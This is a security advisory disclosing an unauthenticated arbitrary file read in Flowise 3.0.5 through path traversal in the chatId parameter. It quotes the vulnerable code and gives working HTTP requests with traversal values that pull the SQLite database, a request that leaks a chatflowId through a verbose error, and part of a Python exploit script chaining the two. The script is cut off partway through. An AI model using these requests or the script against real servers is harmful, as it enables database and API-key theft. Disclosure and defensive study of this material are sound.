GHSA-99pg-hqvx-r4gf Flowise has an Arbitrary File Read

• npm flowise: >= 3.0.5, < 3.0.6 → fixed in 3.0.6

Summary An arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content. Details Both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile(). ``` const chatflowId = req.query.chatflowId as string const chatId = req.query.chatId as string const fileName = req.query.fileName as string ... const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId) ``` While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId. ``` // Validate chatflowId if (!chatflowId || !isValidUUID(chatflowId)) { throw new Error('Invalid chatflowId format - must be a valid UUID') } // Check for path traversal attempts if (isPathTraversal(chatflowId)) { throw new Error('Invalid path characters detected in chatflowId') } ... const sanitizedFilename = sanitize(fileName) ... const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename) ``` There is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory. ``` if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`) ``` However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted. ``` if (fs.existsSync(filePath)) { return fs.createReadStream(filePath) } else { // Fallback: Check if file exists without orgId const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename) if (fs.existsSync(fallbackPath)) { // Create directory if it doesn't exist const dir = path.dirname(filePath) if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } // Copy file to correct location with orgId fs.copyFileSync(fallbackPath, filePath) // Delete the old file fs.unlinkSync(fallbackPath) // Clean up empty directories recursively _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId)) return fs.createReadStream(filePath) ``` As this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration. REQUEST ``` GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1 Host: 127.0.0.1:3000 ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 06:43:51 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3��

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�indexsqlite_autoindex_docume ... ``` Similarly, for `/api/v1/openai-assistants-file/download`: REQUEST ``` POST /api/v1/openai-assistants-file/download HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 100 {"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"} ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 08:55:25 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3��

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�����������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ ... ``` This includes all API keys used by the application (apiKey table), which can be used to gain administrative access. As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted. Interaction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`. REQUEST ``` POST /api/v1/vector/upsert/ HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 172 Connection: keep-alive ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="?" Content-Type: text/plain ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` RESPONSE ``` HTTP/1.1 500 Internal Server Error Vary: Origin Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: 240 ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U" Date: Tue, 22 Jul 2025 08:14:20 GMT Connection: keep-alive Keep-Alive: timeout=5 {"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}} ``` In this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability. PoC Run Flowise: ``` docker run --rm -p 3000:3000 flowiseai/flowise ``` Complete install & create a Chatflow: Save this script to `read.py`: ``` import argparse import re import requests def read_file(url, file_path, proxy): base_url = url proxies = {'http': proxy, 'https': proxy} if proxy else None print(f">> starting exploit against {base_url}") if proxy: print(f">> using proxy: {proxy}") try: print("[*] step 1: leaking chatflowid") initial_headers = {} files = {'files': ('?', 'asdf', 'text/plain')} response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies) chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", "")) if len(chatflow_id_matches) < 2: print("[-] failed to leak chatflowid.") return chatflow_id = chatflow_id_matches[1] print(f"[+] got chatflowid: {chatflow_id}") print(f"[*] step 2: reading file: {file_path}") internal_headers = {'x-request-from': 'internal'} params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path} response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies) if response.status_code != 200: print(f"[-] failed to read file (status: {response.status_code}).") print(response.text) return file_content = response.text print(f"[+] successfully read f…